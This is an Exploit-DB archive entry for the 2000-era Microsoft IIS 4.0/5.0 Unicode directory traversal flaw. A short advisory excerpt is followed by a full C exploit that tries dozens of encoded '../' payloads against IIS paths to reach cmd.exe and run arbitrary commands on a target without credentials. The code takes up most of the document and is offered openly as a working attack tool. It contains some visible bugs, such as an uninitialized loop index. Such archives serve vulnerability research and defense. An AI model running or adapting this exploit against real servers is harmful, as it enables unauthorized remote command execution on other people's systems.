Microsoft IIS 4.0/5.0 and PWS - Extended Unicode Directory Traversal (1)

EDB-ID:

20298




Platform:

Windows

Date:

2000-10-17


// source: https://www.securityfocus.com/bid/1806/info

Microsoft IIS 4.0 and 5.0 are both vulnerable to double dot "../" directory traversal exploitation if extended UNICODE character representations are used in substitution for "/" and "\". 

Unauthenticated users may access any known file in the context of the IUSR_machinename account. The IUSR_machinename account is a member of the Everyone and Users groups by default, therefore, any file on the same logical drive as any web-accessible file that is accessible to these groups can be deleted, modified, or executed. Successful exploitation would yield the same privileges as a user who could successfully log onto the system to a remote user possessing no credentials whatsoever.

It has been discovered that a Windows 98 host running Microsoft Personal Web Server is also subject to this vulnerability. (March 18, 2001)

This is the vulnerability exploited by the Code Blue Worm.

**UPDATE**: It is believed that an aggressive worm may be in the wild that actively exploits this vulnerability.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>

#define SEND	100000
#define RECIVE	1000000


char *str_replace(char *rep, char *orig, char *string)
{
int len=strlen(orig);
char buf[SEND]="";
char *pt=strstr(string,orig);

strncpy(buf,string, pt-string );
strcat(buf,rep);
strcat(buf,pt+strlen(orig));
strcpy(string,buf);
return string;
}

/***************************************************************************/

int main(int argc,char *argv[])
{
int sockfd, numbytes;
char recv_buf[RECIVE];
int i;
int port;


char *uni[]={
        "..%c0%af..",
        "..%c0%af../..%c0%af../..%c0%af..",
        "..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..",

        "..%c1%1c..",
        "..%c1%1c../..%c1%1c../..%c1%1c..",
        "..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..",

        "..%252f..",
        "..%252f../..%252f../..%252f..",
        "..%252f..%252f..%252f..%252f..%252f..",

        "..%252e..",
        ".%252e..",
        "..%252e../..%252e../..%252e..",
        "..%252e..%252e..%252e..%252e..%252e..",

        "..%c0%9v..",
        "..%c0%9v../..%c0%9v../..%c0%9v..",
        "..%c0%9v..%c0%9v..%c0%9v..%c0%9v..%c0%9v..",

        "..%c0%qf..",
        "..%c0%qf../..%c0%qf../..%c0%qf..",
        "..%c0%qf..%c0%qf..%c0%qf..%c0%qf..%c0%qf..",

	"..%c1%8s..",
        "..%c1%8s../..%c1%8s../..%c1%8s..",
        "..%c1%8s..%c1%8s..%c1%8s..%c1%8s..%c1%8s..",

        "..%c1%9c..",
        "..%c1%9c../..%c1%9c../..%c1%9c..",
        "..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..",

        "..%c1%pc..",
        "..%c1%pc../..%c1%pc../..%c1%pc..",
        "..%c1%pc..%c1%pc..%c1%pc..%c1%pc..%c1%pc..",

        "..%255c..",
        "..%255c../..%255c../..%255c..",
        "..%255c..%255c..%255c..%255c..%255c..",

        "..%5c..",
        "..%5c../..%5c../..%5c..",
        "..%5c..%5c..%5c..%5c..%5c..",

        "..%%35c..",
        "..%%35c../..%%35c../..%%35c..",
        "..%%35c../..%%35c../..%%35c",		//last news
        "..%%35c..%%35c..%%35c..%%35c..%%35c..",

        "..%%35%63..",
        "..%%35%63../..%%35%63../..%%35%63..",
        "..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..",

        "..%25%35%63..",
        "..%25%35%63../..%25%35%63../..%25%35%63..",
        "..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63.."
};


char *path[]={
        "/scripts/#uni/winnt/system32/cmd.exe?/c+",
        "/scripts/#uniwinnt/system32/cmd.exe?/c+",
        "/msadc/#uni/winnt/system32/cmd.exe?/c+",
        "/cgi-bin/#uni/winnt/system32/cmd.exe?/c+",
        "/samples/#uni/winnt/system32/cmd.exe?/c+",
        "/iisadmpwd/#uni/winnt/system32/cmd.exe?/c+",
        "/_vti_cnf/#uni/winnt/system32/cmd.exe?/c+",
        "/_vti_bin/#uni/winnt/system32/cmd.exe?/c+",
        "/exchange/#uni/winnt/system32/cmd.exe?/c+",
        "/pbserver/#uni/winnt/system32/cmd.exe?/c+",
        "/adsamples/#uni/winnt/system32/cmd.exe?/c+"
};

int cont=0;

char send_buf[SEND]="";
int x,j;
int uni_len=sizeof(uni)/sizeof(char *);
int path_len=sizeof(path)/sizeof(char *);


struct hostent *he;

struct sockaddr_in their_addr;


if(argc!=4)
{
	fprintf(stderr,"usage:%s <hostname> <port> <commands>\n",argv[0]);
	exit(1);
}


if((he=gethostbyname(argv[1]))==NULL)
{
	perror("gethostbyname");
	exit(1);
}

port=atoi(argv[2]);


/***************************************************************************/

for(x=0;x<path_len;x++)
for(j=0;j<uni_len;j++)
{
sprintf(send_buf,"GET %s%s  HTTP/ 1.0\n\n", path[i],argv[3] );
str_replace(uni[j],"#uni",send_buf);

	if(cont==200) {
		sleep(3);
		cont=0;
	}
cont++;
sleep(1);
if( fork()!=0)
{

	if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
	{
		perror("socket");
		exit(1);
	}


	their_addr.sin_family=AF_INET;
	their_addr.sin_port=htons(port);
	their_addr.sin_addr=*((struct in_addr*)he->h_addr);
	bzero(&(their_addr.sin_zero),8);



	if( connect(sockfd,(struct sockaddr*)&their_addr, sizeof(struct sockaddr))==-1)
	{
		perror("connect");
		exit(1);
	}

	if(send(sockfd,send_buf,SEND,0) ==-1)
	{
		perror("send");
		exit(0);
	}

	if( (numbytes=recv(sockfd,recv_buf,RECIVE,0 )) == -1)
	{
                perror("recv");
                exit(1);
	}
        recv_buf[numbytes]='\0';
        //printf("%s\n",recv_buf);

	if( (numbytes=recv(sockfd,recv_buf,RECIVE,0 )) == -1)
	{
                perror("recv");
                exit(1);
	}
        recv_buf[numbytes]='\0';
        printf("\n-----------------------------------------------\n");
        printf("String: %s\n\n",send_buf);
        printf("%s\n------------bytes recived: %d------------------\n",recv_buf,numbytes);




	close(sockfd);
	exit(0);
}

close(sockfd);
while(waitpid(-1,NULL, WNOHANG) > 0);
}


printf("Done...\n");
return 0;
}